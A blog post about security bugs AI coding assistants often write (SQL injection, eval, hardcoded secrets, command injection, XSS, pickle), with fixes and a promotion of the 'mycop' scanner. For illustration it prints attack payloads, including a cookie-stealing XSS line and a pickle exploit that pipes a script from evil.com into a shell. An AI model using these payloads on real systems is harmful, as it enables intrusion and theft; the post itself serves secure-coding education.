The Security Bugs AI Coding Assistants Keep Writing

Last week I asked ChatGPT to write a Python login function. It gave me this:

def login(username, password):
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    db.execute(query)

Looks clean. Works fine. Ships to production. And it is completely broken from a security perspective.

If someone types this as their username:

' OR '1'='1' --

The query becomes:

SELECT * FROM users WHERE username='' OR '1'='1' --' AND password=''

Every row in the users table comes back. Authentication bypassed. Game over.

The thing is, this is not a rare edge case. This is what AI assistants generate by default. I have seen this exact pattern — SQL queries built with f-strings — come out of Copilot, ChatGPT, and Cursor dozens of times. And SQL injection is just one of many.

The Problem at Scale

Research from Stanford and NYU has found that code generated by AI assistants contains security vulnerabilities roughly 40% of the time. A 2023 study published at IEEE S&P showed that participants using AI assistants produced less secure code than those writing it manually, and — here is the concerning part — were more confident that their code was secure.

Why does this happen? Three reasons:

1. AI optimizes for "works," not "safe." When you ask for a login function, the model gives you something that logs people in. Security is a constraint it does not see unless you explicitly ask for it.
2. Training data is full of insecure examples. Stack Overflow answers, tutorials, blog posts — they prioritize readability and brevity. The accepted answer to "how do I query a database in Python" almost never uses parameterized queries.
3. No threat model in context. A human security engineer thinks about who will call this function and what they might pass into it. The AI has no concept of an attacker.

The Six Vulnerabilities AI Assistants Love to Write

I have been cataloging the patterns that come up repeatedly. Here are the six I see most often, with the vulnerable code AI generates and what you should write instead.

1. SQL Injection via f-strings (Python)

What AI writes:

def get_user(user_id):
    cursor.execute("SELECT * FROM users WHERE id=%s" % user_id)

How an attacker exploits it: Pass 1 OR 1=1 as user_id to dump the entire table, or 1; DROP TABLE users;-- to destroy it.

What you should write:

def get_user(user_id):
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

The difference is subtle — a tuple as the second argument instead of string formatting — but it is the difference between a secure app and a data breach. Parameterized queries treat user input as data, not as part of the SQL command.

2. eval() on User Input

What AI writes (JavaScript):

function calculate(expression) {
    return eval(expression);
}

What AI writes (Python):

def evaluate(expr):
    result = eval(expr)
    return result

The exploit: If expression comes from a user, they can run anything. In Node.js: require('child_process').execSync('cat /etc/passwd'). In Python: __import__('os').system('rm -rf /').

What you should write:

import ast
def evaluate(expr):
    result = ast.literal_eval(expr)
    return result

For JavaScript, use a math expression parser like math.js instead. The eval() function should basically never appear in production code that touches user input.

3. Hardcoded Secrets

What AI writes:

API_KEY = "sk-1234567890abcdef1234567890abcdef"
password = "SuperSecret123!"

Every single time I ask an AI assistant for code that integrates with an API, the key goes directly into the source file. Every time.

What you should write:

import os
API_KEY = os.environ["API_KEY"]

Or use a .env file with python-dotenv, or a secrets manager. Anything except a string literal in your source code that will end up in version control.

4. Command Injection via os.system()

What AI writes:

def ping_host(host):
    os.system("ping -c 1 " + host)

The exploit chain: Pass ; cat /etc/passwd as host. The shell interprets the semicolon as a command separator and runs both commands. Full remote code execution from a "simple" ping utility.

What you should write:

import subprocess
def ping_host(host):
    subprocess.run(["ping", "-c", "1", host], check=True)

The list form of subprocess.run does not invoke a shell. Each element is a separate argument, so shell metacharacters like ;, |, and && are treated as literal strings.

5. dangerouslySetInnerHTML in React

What AI writes:

function Comment({ text }) {
    return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

The exploit: If text contains <img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie">, every user who views that comment has their session cookie stolen.

What you should write:

import DOMPurify from 'dompurify';

function Comment({ text }) {
    return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(text) }} />;
}

Or better yet, do not use dangerouslySetInnerHTML at all. React escapes content by default — it is literally named "dangerously" to warn you.

6. Insecure Deserialization with pickle

What AI writes:

import pickle

def load_data(data):
    obj = pickle.loads(data)
    return obj

The exploit: pickle can execute arbitrary Python code during deserialization. An attacker crafts a malicious payload:

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl https://evil.com/shell.sh | sh",))

payload = pickle.dumps(Exploit())

Send that payload to any endpoint that calls pickle.loads() and you have remote code execution.

What you should write:

import json

def load_data(data):
    obj = json.loads(data)
    return obj

Use JSON. If you absolutely must deserialize complex Python objects, use hmac to sign the data and verify the signature before deserializing.

Catching These Automatically

After seeing these patterns enough times, I built mycop — an open-source security scanner specifically designed for the kinds of vulnerabilities AI assistants introduce. It ships 200 rules covering OWASP Top 10 and CWE Top 25, targeting Python, JavaScript/TypeScript, Go, and Java.

Here is what it looks like when you run it on a file with the vulnerabilities above:

$ mycop scan app.py

  app.py:10
  CRITICAL sql injection (CWE-89)

       8 | def login(username, password):
       9 |     query = f"SELECT * FROM users WHERE username='{username}'"
  ->  10 |     db.execute(query)
      11 |

     Possible SQL injection detected. User input may be directly
     interpolated into a SQL query string.
     Fix: Use parameterized queries with placeholders

  --------------------------------------------------

  app.py:18
  CRITICAL os command injection (CWE-78)

      16 |
      17 | def ping_host(host):
  ->  18 |     os.system("ping -c 1 " + host)
      19 |

     Possible OS command injection detected.
     Fix: Use subprocess.run() with a list of arguments.

  --------------------------------------------------

  Found 8 issues: 3 critical, 3 high, 2 medium

Installation

# macOS/Linux
curl -fsSL https://raw.githubusercontent.com/AbdumajidRashidov/mycop/main/install.sh | sh

# Homebrew
brew install AbdumajidRashidov/tap/mycop

# Cargo
cargo install mycop

# Docker
docker run --rm -v "$(pwd):/src" -w /src ghcr.io/abdumajidrashidov/mycop scan .

Auto-fixing with AI

The mycop fix command sends each file with its findings to an AI provider (Claude, OpenAI, Ollama, or a local rule-based fallback) and applies the fixes:

$ mycop fix app.py
  Fixing app.py (3 findings)...

  --- app.py
  +++ app.py
  @@ -8,3 +8,3 @@
   def login(username, password):
  -    query = f"SELECT * FROM users WHERE username='{username}'"
  -    db.execute(query)
  +    db.execute("SELECT * FROM users WHERE username = %s",
  +               (username,))

  Applied fixes to app.py
  Re-scanning... 0 findings remaining

You can preview changes without writing them using --dry-run.

CI Integration

Drop this into your GitHub Actions workflow:

- name: mycop Security Scan
  uses: AbdumajidRashidov/mycop/action@main
  with:
    paths: '.'
    fail-on: 'high'

This fails the build if any high or critical severity issues are found. The SARIF output integrates with GitHub's code scanning so findings show up as inline annotations on pull requests.

How It Works Under the Hood

Dual matching with regex and tree-sitter AST. Each rule can define regex patterns for broad detection and tree-sitter AST queries for structural matching. The matcher runs both, deduplicates by line number, and returns the union. Regex catches the obvious patterns fast; AST queries understand code structure.

Rules are YAML, compiled into the binary. All 200 rules live as .yml files in the repo, but they are embedded at compile time via Rust's include_str! macro. This means the binary is self-contained — no external rule files to ship or keep in sync.

AI fix prompts are structured. When mycop fix runs, it groups all findings per file and sends a single prompt with the full file content and a numbered list of vulnerabilities with fix hints. The AI returns the fixed file wrapped in <FIXED_FILE> tags for reliable extraction.

Rayon parallelism. File scanning runs in parallel across CPU cores using Rayon's parallel iterators. On a large codebase, this makes a real difference — scanning happens in seconds, not minutes.

What It Cannot Do

I want to be upfront about the limitations:

• No taint tracking. mycop does not trace data flow from source to sink. If user input passes through three function calls before reaching eval(), the regex-based rules will not catch it.
• No interprocedural analysis. Each file is scanned independently. If a dangerous pattern is split across modules, it will be missed.
• False positives. Pattern matching is inherently noisy. The inline ignore comment # mycop-ignore:PY-SEC-005 exists for a reason.
• Python, JavaScript, Go, and Java only. Rust, C#, and other languages are not covered yet.

These are real tradeoffs. mycop is designed to be a fast, zero-config first line of defense — the kind of thing you drop into CI in two minutes and immediately start catching the low-hanging fruit that AI assistants introduce.

What Is Next

The roadmap includes tree-sitter AST queries for more rules (reducing false positives) and better taint analysis for single-file data flows. Contributions are welcome — especially new rules. Adding a rule is as simple as writing a YAML file.

mycop is MIT licensed and open source. It works offline (no AI key required for scanning) and runs on macOS, Linux, and Windows.